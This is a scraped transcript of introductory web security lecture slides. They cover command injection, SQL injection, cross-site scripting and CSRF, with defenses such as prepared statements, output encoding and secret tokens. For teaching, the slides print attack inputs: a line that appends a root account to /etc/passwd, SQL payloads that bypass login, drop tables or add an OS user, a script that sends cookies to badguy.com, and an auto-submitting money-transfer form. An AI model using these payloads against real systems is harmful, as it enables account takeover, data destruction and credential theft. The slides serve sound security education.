Presentation is loading. Please wait.

Presentation is loading. Please wait.

Intro to Web Security Kevin Zeng

Similar presentations


Presentation on theme: "Intro to Web Security Kevin Zeng"— Presentation transcript:

1 Intro to Web Security Kevin Zeng
Borrowed slides from COMS W4995: Secure Software Development: Theory and Practice

2 What does it mean for a website or web app to be secure?

3 Fundamental Considerations
Privacy What’s secret is secret What’s available is available Correctness of implementation A program does only what it is supposed to Truthfulness/Trust Actions and information Relevant to this talk: correctness of implementation (SQLi and XSS) and trust (CSRF)

4 Background for SQL Injection and XSS
Command Injection Background for SQL Injection and XSS

5 General Intuition Kevin Zeng, and give me your wallet. Kevin Zeng

6 Code injection using eval()
import os def login(username, password): login_info = os.popen(‘cat logins.txt | grep ’ + username).read() real_pass = login_info.split(‘ ‘)[1] if password == real_pass: print(‘Login successful!’) ... username_input = input(“Enter username: “) pasword_input = input(“Enter password: “) login(username_input, password_input)

7 Code injection using eval()
>>> login(‘. | cat’, ‘blah’) Incorrect password. Doesn’t work. Why? >>> login(‘. | rm logins.txt’, ‘blah’) Traceback (most recent call last): File "login.py", line 16, in <module> login(username_input, password_input) File "login.py", line 7, in login real_pass = login_info.split(' ')[1] IndexError: list index out of range $ ls login.py You just deleted all the login information

8 Code injection using eval()
>>> login(‘. | echo admin password > logins.txt’, ‘blah’) Traceback (most recent call last): File "login.py", line 16, in <module> login(username_input, password_input) File "login.py", line 7, in login real_pass = login_info.split(' ')[1] IndexError: list index out of range >>> login(‘admin’, ‘password’) Login successful Overwrite everything You just logged in as admin

9 Code injection using system()
Example: PHP server-side code for sending $ = $_POST[“ ”] $subject = $_POST[“subject”] system(“mail $ –s $subject < /tmp/joinmynetwork”) & subject=foo < /usr/passwd; ls echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls

10 SQL Injection

11 Database queries with PHP
(the wrong way) Sample PHP Problem What if ‘recipient’ is malicious string that changes the meaning of the query? $recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db->executeQuery($sql);

12 Basic picture: SQL Injection
Victim Server post malicious form 1 2 unintended SQL query 3 receive valuable data Attacker Think of: Victim server as login.py SQL DB as logins.txt Go to sqlzoo.net demo Victim SQL DB

13 CardSystems Attack CardSystems credit card payment processing company
SQL injection attack in June 2005 put out of business The Attack 263,000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed About 20 million card #s from Visa and Mastercard each exposed

14 One of the most common and serious vulnerabilities

15 Example: buggy login page (ASP)
set ok = execute( "SELECT * FROM Users WHERE user=' " & form(“user”) & " ' AND pwd=' " & form(“pwd”) & “ '” ); if not ok.EOF login success else fail; Is this exploitable? (if ok has a result) This snipet is in VB.

16 Normal Query DB SELECT * Web Web FROM Users Browser (Client) Server
Enter Username & Password Web Server DB SELECT * FROM Users WHERE user='me' AND pwd='1234' Normal Query

17 Bad input Suppose user = “ ' or 1=1 -- ” Then scripts does:
ok = execute( SELECT … WHERE user= '' or 1=1 -- … ) The “'” causes user to be defined early, beginning of arbitrary code The “--” causes rest of line to be ignored. Now ok.EOF is always false and login always succeeds. The bad news: easy login to many sites this way.

18 Even worse Suppose user = “ ′ ; DROP TABLE Users -- ”
Then script does: ok = execute( SELECT … WHERE user= ′′ ; DROP TABLE Users … ) Deletes user table Similarly: attacker can add users, reset pwds, etc. Remember what we did with the Python code? We can execute arbitrary code

19 Even worse … Suppose user = ′ ; exec cmdshell
′net user badguy badpwd′ / ADD -- ...attacker gets account on DB server

20

21 Preventing SQL Injection
Never build SQL commands yourself ! Use parameterized/prepared SQL Use ORM framework ORM: E.g. SQLAlchemy for Python Basically an interface that sanitizes inputs for you

22 PHP addslashes() mysql_real_escape_string()
PHP: addslashes( “ ’ or 1 = ”) outputs: “ \’ or 1= ” Properly escapes quotation marks mysql_real_escape_string() Properly escapes everything Note that this is no longer a commonly accepted way of solving this problem -- this just demonstrates a point of sanitizing inputs

23 Parameterized/prepared SQL
SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username AND password dbConnection); Request[“user”] ); Request[“pwd”] ); cmd.ExecuteReader(); Escapes with \. ‘ -> \’ DB independent different DB’s have different rules for escaping. This snipet is in C#

24 Cross Site Scripting (XSS)

25

26 What is XSS? When an attacker can inject scripting code into pages generated by a web application Methods for injecting malicious code: Reflected XSS (“type 1”) the attack script is reflected back to the user as part of a page from the victim site Stored XSS (“type 2”) the attacker stores the malicious code in a resource managed by the web application, such as a database Reflected: response from server, not stored Stored: response from server, stored (e.g. POST malicious input to page, GET page)

27 Basic scenario: reflected XSS attack
Attack Server visit web site 1 receive malicious link 2 send valuable data 5 3 Victim client 4 click on link echo user input Victim Server

28 https://xss-game.appspot.com/
DEMO TIME! Regular search term (apple) Malicious search input (apple<script>...) Mention how the script tag is invisible. Relevant for CSRFs later on Save the URL and put it in

29 XSS example: vulnerable site
search field on facebook.com clone: = apple Server-side implementation of search.php: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> echo search term into response

30 XSS example: vulnerable site
search field on facebook.com clone: = apple Server-side implementation of search.php: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for apple : . . . </BODY> </HTML>

31 Bad input Consider link: (properly URL encoded)
? term = apple<script> window.open( “ = ” + document.cookie ) </script> What if user clicks on this link? Browser goes to fakebook.com/search.php Victim.com returns <HTML> Results for apple<script> … </script>... Browser executes script: Sends badguy.com cookie for victim.com Login credentials, etc.

32 Really Bad input Consider link: (properly URL encoded)
? term = apple<script> window.open( ) </script> What if user clicks on this link? Browser goes to fakebook.com/search.php Victim.com returns <HTML> Results for apple<script> … </script>... Browser executes script: Deletes account! Note that because this URL is visited on the victim’s browser, which is already logged in, the attacker can take advantage of the victim’s credentials and do anything with their account. Note that this is also an example of CSRF, which we’ll go over in a bit.

33 2006 Example Vulnerability
Attackers contacted users via and fooled them into accessing a particular URL hosted on the legitimate PayPal website. Injected code redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were then redirected to a phishing site and prompted to enter sensitive financial data. Source:

34 They see this page, and then after a few seconds they’re redirected to a fake Paypal page that prompts them to enter their info to verify their account.

35 Adobe PDF viewer “feature”
(version <= 7.9) PDF documents execute JavaScript code The code will be executed in the context of the domain where the PDF files is hosted

36 And if that doesn’t bother you...
PDF files on the local filesystem: file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS"); JavaScript Malware now runs in local context with the ability to read local files ... Everyone has Adobe installed in the same place, right?

37 Attack server never talks to victim!
Stored XSS Attack server never talks to victim! Attack Server steal valuable data 4 Store bad stuff Download it 1 Inject malicious script 2 User Victim 3 request content receive malicious script Server Victim Note: no direct contact between attack server and user victim! E.g. if you attacked Google, you could put millions of people in trouble Basically can cause the same damage as reflected XSS, except since the injected script is stored in the server, it will PERSIST.

38 MySpace.com (Samy worm)
Users can post HTML on their pages MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> … but can do Javascript within CSS tags: <div style=“background:url(‘javascript:alert(1)’)”> And can hide “javascript” as “java\nscript” With careful javascript hacking: Samy worm infects anyone who visits an infected MySpace page … and adds Samy as a friend. Samy had millions of friends within 24 hours.

39 Cross Site Request Forgery

40 Session using cookies Browser Server POST/login.cgi
Set-cookie: auth_token GET…Cookie: auth_token response How a lot of websites remember you’re you Login with credentials Server returns a unique identifier called an authentication token (usually a really long number) With every request you send to the server, you attach the auth token to the request When server receives request, they know it’s you because of the auth token, and return the expected response Auth token is a really long number so it’s hard to guess and hard to predict

41 Basic picture Server Victim 1 4 2 3 User Victim Attack Server
establish session 1 send forged request 4 (w/ cookie) 2 3 User Victim visit server (or iframe) receive malicious page Attack Server Recall previous example, where we opened fakebook.com/delete_account.php while on the victim’s browser, using the victim’s credentials

42 Cross Site Request Forgery (CSRF)
Example: User logs in to bank.com Session cookie remains in user’s browser User visits another site containing: <form name=F action= <input name=recipient value=badguy> … <input name=amount value= > ... <script> document.F.submit(); </script> Browser sends user auth cookie with request Transaction will be fulfilled

43 CSRF Defenses Secret Validation Token Referer Validation
Custom HTTP Header <input type=hidden value=23a3af01b> Referer: Hidden value can only be achieved through legitimate GET request, which is harder to forge inconspicuously (same-origin policy) Referrer: enforced by browser X-Requested-By: XMLHttpRequest

44 Secret Token Validation
Requests include a hard-to-guess secret Unguessability substitutes for unforgeability Variations Session identifier Session-independent token Session-dependent token

45 Referer Validation

46 Referer Validation Defense
HTTP Referer header Referer: Referer: Referer: Lenient Referer validation Doesn't work if Referer is missing Strict Referer validation Secure, but Referer is sometimes absent…

47 How to Protect Yourself (OWASP)
The best way to protect against XSS attacks: Validates all headers, cookies, query strings, form fields, hidden fields… EVERY source of input Do NOT attempt to identify bad cases Adopt a ‘positive’ security policy Positive security policy: defines what is allowed, rejects everything else

48 Output filtering / encoding
Remove / encode (X)HTML special chars < for <, > for >, &quot for “ … Allow only safe commands (e.g., no <script>…) Caution: `filter evasion` tricks See XSS Cheat Sheet (OWASP) for filter evasion

49 Caution: Scripts not only in <script>!
JavaScript as scheme in URI <img src=“javascript:alert(document.cookie);”> JavaScript On{event} attributes (handlers) OnSubmit, OnError, OnLoad, … Typical use: <img src=“none” OnError=“alert(document.cookie)”> <iframe src=` onload=`steal()`>

50 Points to remember Be aware! Know your points of vulnerability
Code injection (SQL Injection, XSS) Identity spoofing (CSRF) Know your points of vulnerability Any source of user input How to handle

51 Resources Learn: Play:
Play:

52 Questions?


Download ppt "Intro to Web Security Kevin Zeng"

Similar presentations


Ads by Google